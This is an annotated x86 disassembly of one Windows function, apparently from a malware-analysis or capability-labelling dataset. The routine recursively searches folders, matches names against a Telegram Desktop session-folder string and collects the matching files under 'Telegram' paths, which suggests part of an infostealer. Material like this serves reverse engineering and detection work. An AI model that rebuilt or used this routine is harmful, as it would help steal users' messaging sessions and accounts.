Function at 0x45102d
Capabilities:
Check if file exists
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0xc], ecx
push edi
push ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x451271
test eax, 0x10
je 0x451271
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x248
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x451271
push ebx
push str._s
push 0x104
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x264]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x451265
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x14]
push 0x475198
push 0x104
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [ebp - 0x264]
add esp, 0x14
test al, 0x10
je 0x4511bb
push 0x4751a4
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4511b5
push 0x4751a8
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4511b5
push str.D877F783D5D3EF8C
push esi
call ebx
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4511a1
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x56]
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov dword [ebp - 8], eax
call ebx
push eax
push str.Telegram_s
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0xb
push eax
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push 4
push 0
push 0
call fcn.0045507c
add esp, 0x1c
push esi
call ebx
mov ecx, dword [ebp - 0xc]
mov edx, esi
push eax
call fcn.00450ec4
mov eax, dword [ebp - 8]
pop ecx
test eax, eax
je 0x45119a
push eax
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 8]
inc dword [eax]
jmp 0x4511a4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov edx, esi
push eax
call fcn.0045102d
pop ecx
jmp 0x451244
mov eax, dword [ebp - 0x264]
test al, 0xa7
je 0x451244
push str.D877F783D5D3EF8C
push esi
call ebx
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x451244
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x54]
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov dword [ebp - 8], eax
call ebx
push eax
push str.Telegram_
push str._s_s
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0xa
push eax
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov edx, dword [ebp - 8]
add esp, 0x14
mov ecx, dword [ebp - 0xc]
push 2
push 0
push esi
call fcn.0045507c
mov eax, dword [ebp - 8]
add esp, 0xc
test eax, eax
je 0x451244
push eax
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4510b1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret